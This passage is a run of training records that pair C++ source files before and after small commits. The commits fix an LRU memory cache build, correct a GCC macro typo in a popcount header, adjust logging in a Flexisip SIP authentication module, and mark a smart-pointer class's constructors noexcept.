true;\r\n}\r\n\r\nvoid LRUMemCache::putBack( size_t idx )\r\n{\r\n\tif(idx == lruItems.size()-1)\r\n\t\treturn;\r\n\r\n\tSCacheItem item = lruItems[idx];\r\n\tlruItems.erase(lruItems.begin()+idx);\r\n\tlruItems.push_back(item);\r\n}\r\n\r\nvoid LRUMemCache::setCacheEvictionCallback( ICacheEvictionCallback* cacheEvictionCallback )\r\n{\r\n\tcallback=cacheEvictionCallback;\r\n}\r\n\r\nvoid LRUMemCache::clear()\r\n{\r\n\tfor(size_t i=0;i<lruItems.size();++i)\r\n\t{\r\n\t\tevict(lruItems[i], true);\r\n\t}\r\n\tlruItems.clear();\r\n}\r\n\r\nvoid LRUMemCache::evict( SCacheItem& item, bool deleteBuffer )\r\n{\r\n\tif(callback!=NULL)\r\n\t{\r\n\t\tcallback->evictFromLruCache(item);\r\n\t}\r\n\tif(deleteBuffer)\r\n\t{\r\n\t\tdelete item.buffer;\r\n\t}\r\n}\r\n\r\nLRUMemCache::~LRUMemCache()\r\n{\r\n\tclear();\r\n}\r\n\r\nSCacheItem LRUMemCache::createInt( __int64 offset )\r\n{\r\n\tchar* buffer=NULL;\r\n\tif(lruItems.size()==nbuffers)\r\n\t{\r\n\t\tSCacheItem& toremove = lruItems[0];\r\n\t\tbuffer = toremove.buffer;\r\n\t\tevict(toremove, false);\r\n\t\tlruItems.erase(lruItems.begin());\r\n\t}\r\n\r\n\tSCacheItem newItem;\r\n\tif(buffer!=NULL)\r\n\t{\r\n\t\tnewItem.buffer=buffer;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tnewItem.buffer=new char[buffersize];\r\n\t}\r\n\tnewItem.offset=offset - offset % buffersize;\r\n\r\n\tlruItems.push_back(newItem);\r\n\r\n\treturn newItem;\r\n}\r\n\r\nchar* LRUMemCache::create( __int64 offset )\r\n{\r\n\tsize_t bsize;\r\n\tchar* buf = get(offset, bsize);\r\n\r\n\tif(buf!=NULL)\r\n\t{\r\n\t\treturn buf;\r\n\t}\r\n\r\n\treturn createInt(offset).buffer;\r\n}\r\n<commit_msg>Fixed linux build error<commit_after>#include \"LRUMemCache.h\"\r\n#include <string.h>\r\n\r\n\r\nLRUMemCache::LRUMemCache( size_t buffersize, size_t nbuffers )\r\n\t: buffersize(buffersize), nbuffers(nbuffers), callback(NULL)\r\n{\r\n}\r\n\r\nchar* LRUMemCache::get( __int64 offset, size_t& bsize )\r\n{\r\n\tfor(size_t i=lruItems.size(); i-->0; )\r\n\t{\r\n\t\tif(lruItems[i].offset<=offset &&\r\n\t\t\tlruItems[i].offset+static_cast<__int64>(buffersize)>offset)\r\n\t\t{\r\n\t\t\tsize_t innerOffset = static_cast<size_t>(offset-lruItems[i].offset);\r\n\t\t\tbsize = buffersize - innerOffset;\r\n\t\t\treturn lruItems[i].buffer + innerOffset;\r\n\t\t}\r\n\t}\r\n\r\n\treturn NULL;\r\n}\r\n\r\nbool LRUMemCache::put( __int64 offset, const char* buffer, size_t bsize )\r\n{\r\n\tfor(size_t i=lruItems.size(); i-->0; )\r\n\t{\r\n\t\tif(lruItems[i].offset<=offset &&\r\n\t\t\tlruItems[i].offset+static_cast<__int64>(buffersize)>offset)\r\n\t\t{\r\n\t\t\tsize_t innerOffset = static_cast<size_t>(offset-lruItems[i].offset);\r\n\r\n\t\t\tif( buffersize - innerOffset < bsize)\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\tmemcpy(lruItems[i].buffer + innerOffset, buffer, bsize);\r\n\r\n\t\t\tputBack(i);\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\tSCacheItem newItem = createInt(offset);\r\n\r\n\tsize_t innerOffset = static_cast<size_t>(offset-newItem.offset);\r\n\r\n\tif( buffersize - innerOffset < bsize)\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n\r\n\tmemcpy(newItem.buffer + innerOffset, buffer, bsize);\r\n\r\n\treturn true;\r\n}\r\n\r\nvoid LRUMemCache::putBack( size_t idx )\r\n{\r\n\tif(idx == lruItems.size()-1)\r\n\t\treturn;\r\n\r\n\tSCacheItem item = lruItems[idx];\r\n\tlruItems.erase(lruItems.begin()+idx);\r\n\tlruItems.push_back(item);\r\n}\r\n\r\nvoid LRUMemCache::setCacheEvictionCallback( ICacheEvictionCallback* cacheEvictionCallback )\r\n{\r\n\tcallback=cacheEvictionCallback;\r\n}\r\n\r\nvoid LRUMemCache::clear()\r\n{\r\n\tfor(size_t i=0;i<lruItems.size();++i)\r\n\t{\r\n\t\tevict(lruItems[i], true);\r\n\t}\r\n\tlruItems.clear();\r\n}\r\n\r\nvoid LRUMemCache::evict( SCacheItem& item, bool deleteBuffer )\r\n{\r\n\tif(callback!=NULL)\r\n\t{\r\n\t\tcallback->evictFromLruCache(item);\r\n\t}\r\n\tif(deleteBuffer)\r\n\t{\r\n\t\tdelete item.buffer;\r\n\t}\r\n}\r\n\r\nLRUMemCache::~LRUMemCache()\r\n{\r\n\tclear();\r\n}\r\n\r\nSCacheItem LRUMemCache::createInt( __int64 offset )\r\n{\r\n\tchar* buffer=NULL;\r\n\tif(lruItems.size()==nbuffers)\r\n\t{\r\n\t\tSCacheItem& toremove = lruItems[0];\r\n\t\tbuffer = toremove.buffer;\r\n\t\tevict(toremove, false);\r\n\t\tlruItems.erase(lruItems.begin());\r\n\t}\r\n\r\n\tSCacheItem newItem;\r\n\tif(buffer!=NULL)\r\n\t{\r\n\t\tnewItem.buffer=buffer;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tnewItem.buffer=new char[buffersize];\r\n\t}\r\n\tnewItem.offset=offset - offset % buffersize;\r\n\r\n\tlruItems.push_back(newItem);\r\n\r\n\treturn newItem;\r\n}\r\n\r\nchar* LRUMemCache::create( __int64 offset )\r\n{\r\n\tsize_t bsize;\r\n\tchar* buf = get(offset, bsize);\r\n\r\n\tif(buf!=NULL)\r\n\t{\r\n\t\treturn buf;\r\n\t}\r\n\r\n\treturn createInt(offset).buffer;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/\/ @file    popcnt.hpp\n\/\/\/ @brief   Functions to count the number of 1 bits inside a 64-bit\n\/\/\/          word or a 64-bit array.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#ifndef POPCNT_HPP\n#define POPCNT_HPP\n\n#include <stdint.h>\n\n#ifndef __has_builtin\n  #define __has_builtin(x) 0\n#endif\n\n#if defined(_MSC_VER) && \\\n    defined(_WIN64)\n\n#include <nmmintrin.h>\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return _mm_popcnt_u64(x);\n}\n\n#elif defined(_MSC_VER) && \\\n      defined(_WIN32)\n\n#include <nmmintrin.h>\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return _mm_popcnt_u32((uint32_t) x) + \n         _mm_popcnt_u32((uint32_t)(x >> 32));\n}\n\n#elif __has_builtin(__builtin_popcount) || \\\n      (defined(__GUNC__) && \\\n       defined(__i386__))\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return __builtin_popcount((uint32_t) x) +\n         __builtin_popcount((uint32_t)(x >> 32));\n}\n\n#elif __has_builtin(__builtin_popcountll) || \\\n      defined(__GUNC__)\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return __builtin_popcountll(x);\n}\n\n#else\n\n\/\/\/ Fallback mode if POPCNT intrinsic is not available\n#define NO_POPCNT_INTRINSIC\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  const uint64_t m1 = 0x5555555555555555ll;\n  const uint64_t m2 = 0x3333333333333333ll;\n  const uint64_t m4 = 0x0F0F0F0F0F0F0F0Fll;\n  const uint64_t h01 = 0x0101010101010101ll;\n\n  x -= (x >> 1) & m1;\n  x = (x & m2) + ((x >> 2) & m2);\n  x = (x + (x >> 4)) & m4;\n\n  return (x * h01) >> 56;\n}\n\ninline void CSA(uint64_t& h, uint64_t& l, uint64_t a, uint64_t b, uint64_t c)\n{\n  uint64_t u = a ^ b; \n  h = (a & b) | (u & c);\n  l = u ^ c;\n}\n\n\/\/\/ Harley-Seal popcount (4th iteration).\n\/\/\/ The Harley-Seal popcount algorithm is one of the fastest algorithms\n\/\/\/ for counting 1 bits in an array using only integer operations.\n\/\/\/ This implementation uses only 5.69 instructions per 64-bit word.\n\/\/\/ @see Chapter 5 in \"Hacker's Delight\" 2nd edition.\n\/\/\/\ninline uint64_t popcnt64(const uint64_t* data, uint64_t size)\n{\n  uint64_t total = 0;\n  uint64_t ones = 0, twos = 0, fours = 0, eights = 0, sixteens = 0;\n  uint64_t twosA, twosB, foursA, foursB, eightsA, eightsB;\n  uint64_t limit = size - size % 16;\n  uint64_t i = 0;\n\n  for(; i < limit; i += 16)\n  {\n    CSA(twosA, ones, ones, data[i+0], data[i+1]);\n    CSA(twosB, ones, ones, data[i+2], data[i+3]);\n    CSA(foursA, twos, twos, twosA, twosB);\n    CSA(twosA, ones, ones, data[i+4], data[i+5]);\n    CSA(twosB, ones, ones, data[i+6], data[i+7]);\n    CSA(foursB, twos, twos, twosA, twosB);\n    CSA(eightsA,fours, fours, foursA, foursB);\n    CSA(twosA, ones, ones, data[i+8], data[i+9]);\n    CSA(twosB, ones, ones, data[i+10], data[i+11]);\n    CSA(foursA, twos, twos, twosA, twosB);\n    CSA(twosA, ones, ones, data[i+12], data[i+13]);\n    CSA(twosB, ones, ones, data[i+14], data[i+15]);\n    CSA(foursB, twos, twos, twosA, twosB);\n    CSA(eightsB, fours, fours, foursA, foursB);\n    CSA(sixteens, eights, eights, eightsA, eightsB);\n\n    total += popcnt64(sixteens);\n  }\n\n  total *= 16;\n  total += 8 * popcnt64(eights);\n  total += 4 * popcnt64(fours);\n  total += 2 * popcnt64(twos);\n  total += 1 * popcnt64(ones);\n\n  for(; i < size; i++)\n    total += popcnt64(data[i]);\n\n  return total;\n}\n\n#endif\n\n#if !defined(NO_POPCNT_INTRINSIC)\n\n\/\/\/ Count the number of 1 bits inside the data array\n\/\/\/ using the POPCNT instruction.\n\/\/\/\ninline uint64_t popcnt64(const uint64_t* data, uint64_t size)\n{\n  uint64_t sum0 = 0, sum1 = 0, sum2 = 0, sum3 = 0;\n  uint64_t limit = size - size % 4;\n  uint64_t i = 0;\n\n  for (; i < limit; i += 4)\n  {\n    sum0 += popcnt64(data[i+0]);\n    sum1 += popcnt64(data[i+1]);\n    sum2 += popcnt64(data[i+2]);\n    sum3 += popcnt64(data[i+3]);\n  }\n\n  uint64_t total = sum0 + sum1 + sum2 + sum3;\n\n  for (; i < size; i++)\n    total += popcnt64(data[i]);\n\n  return total;\n}\n\n#endif\n\n#endif \/* POPCNT_HPP *\/\n<commit_msg>Fix __GNUC__ macro<commit_after>\/\/\/\n\/\/\/ @file    popcnt.hpp\n\/\/\/ @brief   Functions to count the number of 1 bits inside a 64-bit\n\/\/\/          word or a 64-bit array.\n\/\/\/\n\/\/\/ Copyright (C) 2016 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#ifndef POPCNT_HPP\n#define POPCNT_HPP\n\n#include <stdint.h>\n\n#ifndef __has_builtin\n  #define __has_builtin(x) 0\n#endif\n\n#if defined(_MSC_VER) && \\\n    defined(_WIN64)\n\n#include <nmmintrin.h>\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return _mm_popcnt_u64(x);\n}\n\n#elif defined(_MSC_VER) && \\\n      defined(_WIN32)\n\n#include <nmmintrin.h>\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return _mm_popcnt_u32((uint32_t) x) + \n         _mm_popcnt_u32((uint32_t)(x >> 32));\n}\n\n#elif __has_builtin(__builtin_popcount) || \\\n      (defined(__GNUC__) && \\\n       defined(__i386__))\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return __builtin_popcount((uint32_t) x) +\n         __builtin_popcount((uint32_t)(x >> 32));\n}\n\n#elif __has_builtin(__builtin_popcountll) || \\\n      defined(__GNUC__)\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  return __builtin_popcountll(x);\n}\n\n#else\n\n\/\/\/ Fallback mode if POPCNT intrinsic is not available\n#define NO_POPCNT_INTRINSIC\n\ninline uint64_t popcnt64(uint64_t x)\n{\n  const uint64_t m1 = 0x5555555555555555ll;\n  const uint64_t m2 = 0x3333333333333333ll;\n  const uint64_t m4 = 0x0F0F0F0F0F0F0F0Fll;\n  const uint64_t h01 = 0x0101010101010101ll;\n\n  x -= (x >> 1) & m1;\n  x = (x & m2) + ((x >> 2) & m2);\n  x = (x + (x >> 4)) & m4;\n\n  return (x * h01) >> 56;\n}\n\ninline void CSA(uint64_t& h, uint64_t& l, uint64_t a, uint64_t b, uint64_t c)\n{\n  uint64_t u = a ^ b; \n  h = (a & b) | (u & c);\n  l = u ^ c;\n}\n\n\/\/\/ Harley-Seal popcount (4th iteration).\n\/\/\/ The Harley-Seal popcount algorithm is one of the fastest algorithms\n\/\/\/ for counting 1 bits in an array using only integer operations.\n\/\/\/ This implementation uses only 5.69 instructions per 64-bit word.\n\/\/\/ @see Chapter 5 in \"Hacker's Delight\" 2nd edition.\n\/\/\/\ninline uint64_t popcnt64(const uint64_t* data, uint64_t size)\n{\n  uint64_t total = 0;\n  uint64_t ones = 0, twos = 0, fours = 0, eights = 0, sixteens = 0;\n  uint64_t twosA, twosB, foursA, foursB, eightsA, eightsB;\n  uint64_t limit = size - size % 16;\n  uint64_t i = 0;\n\n  for(; i < limit; i += 16)\n  {\n    CSA(twosA, ones, ones, data[i+0], data[i+1]);\n    CSA(twosB, ones, ones, data[i+2], data[i+3]);\n    CSA(foursA, twos, twos, twosA, twosB);\n    CSA(twosA, ones, ones, data[i+4], data[i+5]);\n    CSA(twosB, ones, ones, data[i+6], data[i+7]);\n    CSA(foursB, twos, twos, twosA, twosB);\n    CSA(eightsA,fours, fours, foursA, foursB);\n    CSA(twosA, ones, ones, data[i+8], data[i+9]);\n    CSA(twosB, ones, ones, data[i+10], data[i+11]);\n    CSA(foursA, twos, twos, twosA, twosB);\n    CSA(twosA, ones, ones, data[i+12], data[i+13]);\n    CSA(twosB, ones, ones, data[i+14], data[i+15]);\n    CSA(foursB, twos, twos, twosA, twosB);\n    CSA(eightsB, fours, fours, foursA, foursB);\n    CSA(sixteens, eights, eights, eightsA, eightsB);\n\n    total += popcnt64(sixteens);\n  }\n\n  total *= 16;\n  total += 8 * popcnt64(eights);\n  total += 4 * popcnt64(fours);\n  total += 2 * popcnt64(twos);\n  total += 1 * popcnt64(ones);\n\n  for(; i < size; i++)\n    total += popcnt64(data[i]);\n\n  return total;\n}\n\n#endif\n\n#if !defined(NO_POPCNT_INTRINSIC)\n\n\/\/\/ Count the number of 1 bits inside the data array\n\/\/\/ using the POPCNT instruction.\n\/\/\/\ninline uint64_t popcnt64(const uint64_t* data, uint64_t size)\n{\n  uint64_t sum0 = 0, sum1 = 0, sum2 = 0, sum3 = 0;\n  uint64_t limit = size - size % 4;\n  uint64_t i = 0;\n\n  for (; i < limit; i += 4)\n  {\n    sum0 += popcnt64(data[i+0]);\n    sum1 += popcnt64(data[i+1]);\n    sum2 += popcnt64(data[i+2]);\n    sum3 += popcnt64(data[i+3]);\n  }\n\n  uint64_t total = sum0 + sum1 + sum2 + sum3;\n\n  for (; i < size; i++)\n    total += popcnt64(data[i]);\n\n  return total;\n}\n\n#endif\n\n#endif \/* POPCNT_HPP *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Flexisip, a flexible SIP proxy server with media capabilities.\n    Copyright (C) 2010-2015  Belledonne Communications SARL, All rights reserved.\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"authdb.hh\"\n#include <thread>\n\nusing namespace soci;\n\nvoid SociAuthDB::declareConfig(GenericStruct *mc) {\n\t\/\/ ODBC-specific configuration keys\n\tConfigItemDescriptor items[]={\n\n\t\t{\tString,\t\t\"soci-password-request\",\t\"Soci SQL request to execute to obtain the password.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Named parameters are:\\n -':id' : the user found in the from header,\\n -':domain' : the authorization realm, and\\n -':authid' : the authorization username.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The use of the :id parameter is mandatory.\", \"select password from accounts where id = :id and domain = :domain and authid=:authid\" },\n\n\t\t{\tInteger,\t\"soci-poolsize\",\t\t\t\"Size of the pool of connections that Soci will use. We open a thread for each DB query, and this pool will allow each thread to get a connection.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The threads are blocked until a connection is released back to the pool, so increasing the pool size will allow more connections to occur simultaneously.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"On the other hand, you should not keep too many open connections to your DB at the same time.\", \"100\" },\n\n\t\t{\tString,\t\t\"soci-backend\",\t\t\t\t\"Choose the type of backend that Soci will use for the connection.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Depending on your Soci package and the modules you installed, this could be 'mysql', 'oracle', 'postgresql' or something else.\", \"mysql\" },\n\n\t\t{\tString,\t\t\"soci-connection-string\",\t\"The configuration parameters of the Soci backend.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The basic format is \\\"key=value key2=value2\\\". For a mysql backend, this is a valid config: \\\"db=mydb user=user password='pass' host=myhost.com\\\".\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Please refer to the Soci documentation of your backend, for intance: http:\/\/soci.sourceforge.net\/doc\/3.2\/backends\/mysql.html\", \"db=mydb user=myuser password='mypass' host=myhost.com\"\t},\n\t\tconfig_item_end\n\t};\n\n\tmc->addChildrenValues(items);\n}\n\n\nSociAuthDB::SociAuthDB() : pool(NULL) {\n\n\tGenericStruct *cr=GenericManager::get()->getRoot();\n\tGenericStruct *ma=cr->get<GenericStruct>(\"module::Authentication\");\n\n\tpoolSize             = ma->get<  ConfigInt >(\"soci-poolsize\")->read();;\n\tconnection_string    = ma->get<ConfigString>(\"soci-connection-string\")->read();\n\tbackend              = ma->get<ConfigString>(\"soci-backend\")->read();\n\tget_password_request = ma->get<ConfigString>(\"soci-password-request\")->read();\n\n\tpool = new connection_pool(poolSize);\n\n\tLOGD(\"[SOCI] Authentication provider for backend %s created. Pooled for %d connections\", backend.c_str(), (int)poolSize);\n\n\tfor( size_t i = 0; i<poolSize; i++ ){\n\t\tpool->at(i).open(backend, connection_string);\n\t}\n}\n\nSociAuthDB::~SociAuthDB() {\n\tdelete pool;\n}\n\nvoid SociAuthDB::getPasswordWithPool(su_root_t* root, const std::string &id, const std::string &domain, const std::string &authid, AuthDbListener *listener){\n\n\t\/\/ will grab a connection from the pool. This is thread safe\n\tsession sql(*pool);\n\tstd::string pass;\n\n\ttry\n\t{\n\t\tsql << get_password_request, into(pass), use(id,\"id\"), use(domain, \"domain\"), use(authid, \"authid\");\n\t\tSLOGD << \"[SOCI] Got pass for \" << id << endl;\n\t\tcachePassword( createPasswordKey(id, domain, authid), domain, pass, mCacheExpire);\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_FOUND, pass);\n\t}\n\tcatch (mysql_soci_error const & e)\n\t{\n\t\tSLOGE << \"[SOCI] MySQL error: \" << e.err_num_ << \" \" << e.what() << endl;\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_NOT_FOUND, pass);\n\t}\n\tcatch (exception const & e)\n\t{\n\t\tSLOGE << \"[SOCI] Some other error: \" << e.what() << endl;\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_NOT_FOUND, pass);\n\t}\n}\n\n#pragma mark - Inherited virtuals\n\nvoid SociAuthDB::getPasswordFromBackend(su_root_t *root, const std::string& id, const std::string& domain, const std::string& authid, AuthDbListener *listener) {\n\n\t\/\/ create a thread to grab a pool connection and use it to retrieve the auth information\n\tauto func = bind(&SociAuthDB::getPasswordWithPool, this, root, id, domain, authid, listener);\n\tthread t = std::thread(func);\n\tt.detach();\n\n\treturn;\n\n}<commit_msg>Don't use endl for SLOG* messages<commit_after>\/*\n    Flexisip, a flexible SIP proxy server with media capabilities.\n    Copyright (C) 2010-2015  Belledonne Communications SARL, All rights reserved.\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"authdb.hh\"\n#include <thread>\n\nusing namespace soci;\n\nvoid SociAuthDB::declareConfig(GenericStruct *mc) {\n\t\/\/ ODBC-specific configuration keys\n\tConfigItemDescriptor items[]={\n\n\t\t{\tString,\t\t\"soci-password-request\",\t\"Soci SQL request to execute to obtain the password.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Named parameters are:\\n -':id' : the user found in the from header,\\n -':domain' : the authorization realm, and\\n -':authid' : the authorization username.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The use of the :id parameter is mandatory.\", \"select password from accounts where id = :id and domain = :domain and authid=:authid\" },\n\n\t\t{\tInteger,\t\"soci-poolsize\",\t\t\t\"Size of the pool of connections that Soci will use. We open a thread for each DB query, and this pool will allow each thread to get a connection.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The threads are blocked until a connection is released back to the pool, so increasing the pool size will allow more connections to occur simultaneously.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"On the other hand, you should not keep too many open connections to your DB at the same time.\", \"100\" },\n\n\t\t{\tString,\t\t\"soci-backend\",\t\t\t\t\"Choose the type of backend that Soci will use for the connection.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Depending on your Soci package and the modules you installed, this could be 'mysql', 'oracle', 'postgresql' or something else.\", \"mysql\" },\n\n\t\t{\tString,\t\t\"soci-connection-string\",\t\"The configuration parameters of the Soci backend.\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"The basic format is \\\"key=value key2=value2\\\". For a mysql backend, this is a valid config: \\\"db=mydb user=user password='pass' host=myhost.com\\\".\\n\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\"Please refer to the Soci documentation of your backend, for intance: http:\/\/soci.sourceforge.net\/doc\/3.2\/backends\/mysql.html\", \"db=mydb user=myuser password='mypass' host=myhost.com\"\t},\n\t\tconfig_item_end\n\t};\n\n\tmc->addChildrenValues(items);\n}\n\n\nSociAuthDB::SociAuthDB() : pool(NULL) {\n\n\tGenericStruct *cr=GenericManager::get()->getRoot();\n\tGenericStruct *ma=cr->get<GenericStruct>(\"module::Authentication\");\n\n\tpoolSize             = ma->get<  ConfigInt >(\"soci-poolsize\")->read();;\n\tconnection_string    = ma->get<ConfigString>(\"soci-connection-string\")->read();\n\tbackend              = ma->get<ConfigString>(\"soci-backend\")->read();\n\tget_password_request = ma->get<ConfigString>(\"soci-password-request\")->read();\n\n\tpool = new connection_pool(poolSize);\n\n\tLOGD(\"[SOCI] Authentication provider for backend %s created. Pooled for %d connections\", backend.c_str(), (int)poolSize);\n\n\tfor( size_t i = 0; i<poolSize; i++ ){\n\t\tpool->at(i).open(backend, connection_string);\n\t}\n}\n\nSociAuthDB::~SociAuthDB() {\n\tdelete pool;\n}\n\nvoid SociAuthDB::getPasswordWithPool(su_root_t* root, const std::string &id, const std::string &domain, const std::string &authid, AuthDbListener *listener){\n\n\t\/\/ will grab a connection from the pool. This is thread safe\n\tsession sql(*pool);\n\tstd::string pass;\n\n\ttry\n\t{\n\t\tsql << get_password_request, into(pass), use(id,\"id\"), use(domain, \"domain\"), use(authid, \"authid\");\n\t\tSLOGD << \"[SOCI] Got pass for \" << id;\n\t\tcachePassword( createPasswordKey(id, domain, authid), domain, pass, mCacheExpire);\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_FOUND, pass);\n\t}\n\tcatch (mysql_soci_error const & e)\n\t{\n\t\tSLOGE << \"[SOCI] MySQL error: \" << e.err_num_ << \" \" << e.what();\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_NOT_FOUND, pass);\n\t}\n\tcatch (exception const & e)\n\t{\n\t\tSLOGE << \"[SOCI] Some other error: \" << e.what();\n\t\tnotifyPasswordRetrieved(root, listener, PASSWORD_NOT_FOUND, pass);\n\t}\n}\n\n#pragma mark - Inherited virtuals\n\nvoid SociAuthDB::getPasswordFromBackend(su_root_t *root, const std::string& id, const std::string& domain, const std::string& authid, AuthDbListener *listener) {\n\n\t\/\/ create a thread to grab a pool connection and use it to retrieve the auth information\n\tauto func = bind(&SociAuthDB::getPasswordWithPool, this, root, id, domain, authid, listener);\n\tthread t = std::thread(func);\n\tt.detach();\n\n\treturn;\n\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef LIBTEN_PTR_HH\n#define LIBTEN_PTR_HH\n\n#include <cstddef>\n#include <type_traits>\n#include <utility>\n\nnamespace ten {\n\n\/\/ a pointer that doesn't do pointer arithmetic and won't automatically\n\/\/ convert to anything dangerous\n\ntemplate <class T> class ptr {\n    T *_t;\n\n    template <class U>\n      static constexpr bool _compat()\n        { return std::is_convertible<U *, T *>::value; }\n\npublic:\n    using target = T;\n    using pointer = T *;\n    using reference = T &;\n\n    constexpr ptr()               : _t{} {}\n    constexpr ptr(std::nullptr_t) : _t{} {}\n    constexpr explicit ptr(T *t)  : _t{t} {}\n    ptr & operator = (std::nullptr_t) { _t = nullptr; return *this; }\n\n    ptr(const ptr &other)    { reset(other.get()); }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr(const ptr<U> &other) { reset(other.get()); }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      explicit ptr(U *u)       { reset(u); }\n\n    ptr & operator = (const ptr &other)     { reset(other.get()); return *this; }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr & operator = (const ptr<U> &other)  { reset(other.get()); return *this; }\n\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr & operator = (U *u)                 { reset(u); return *this; }\n\n    pointer get()                  const noexcept  { return _t; }\n    void reset(pointer t = nullptr)      noexcept  { _t = t; }\n    pointer release()                    noexcept  { auto t = _t; reset(); return t; }\n\n    pointer   operator -> ()  const noexcept  { return  get(); }\n    reference operator *  ()  const noexcept  { return *get(); }\n    explicit operator bool () const noexcept  { return  get(); }\n    bool operator ! ()        const noexcept  { return !get(); }\n\n    bool operator == (const ptr &other) const noexcept  { return get() == other.get(); }\n    bool operator != (const ptr &other) const noexcept  { return get() != other.get(); }\n    bool operator <  (const ptr &other) const noexcept  { return get() <  other.get(); }\n    bool operator <= (const ptr &other) const noexcept  { return get() <= other.get(); }\n    bool operator >  (const ptr &other) const noexcept  { return get() >  other.get(); }\n    bool operator >= (const ptr &other) const noexcept  { return get() >= other.get(); }\n\n    friend bool operator != (const ptr &p, std::nullptr_t) noexcept  { return p; }\n    friend bool operator != (std::nullptr_t, const ptr &p) noexcept { return p; }\n\n    friend bool operator == (const ptr &p, std::nullptr_t) noexcept { return !p; }\n    friend bool operator == (std::nullptr_t, const ptr &p) noexcept { return !p; }\n\n    friend void swap(ptr &left, ptr &right) noexcept { std::swap(left._t, right._t); }\n};\n\ntemplate <class T>\n  inline ptr<T> make_ptr(T *t) noexcept  { return ptr<T>(t); }\n\n\n} \/\/ namespace ten\n\n#endif \/\/ LIBTEN_PTR_HH\n<commit_msg>mark ptr ctors noexcept<commit_after>#ifndef LIBTEN_PTR_HH\n#define LIBTEN_PTR_HH\n\n#include <cstddef>\n#include <type_traits>\n#include <utility>\n\nnamespace ten {\n\n\/\/ a pointer that doesn't do pointer arithmetic and won't automatically\n\/\/ convert to anything dangerous\n\ntemplate <class T> class ptr {\n    T *_t;\n\n    template <class U>\n      static constexpr bool _compat()\n        { return std::is_convertible<U *, T *>::value; }\n\npublic:\n    using target = T;\n    using pointer = T *;\n    using reference = T &;\n\n    constexpr ptr()               noexcept : _t{} {}\n    constexpr ptr(std::nullptr_t) noexcept : _t{} {}\n    constexpr explicit ptr(T *t)  noexcept : _t{t} {}\n    ptr & operator = (std::nullptr_t) { _t = nullptr; return *this; }\n\n    ptr(const ptr &other)    { reset(other.get()); }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr(const ptr<U> &other) { reset(other.get()); }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      explicit ptr(U *u)       { reset(u); }\n\n    ptr & operator = (const ptr &other)     { reset(other.get()); return *this; }\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr & operator = (const ptr<U> &other)  { reset(other.get()); return *this; }\n\n    template <class U,\n              class = typename std::enable_if<_compat<U>()>::type>\n      ptr & operator = (U *u)                 { reset(u); return *this; }\n\n    pointer get()                  const noexcept  { return _t; }\n    void 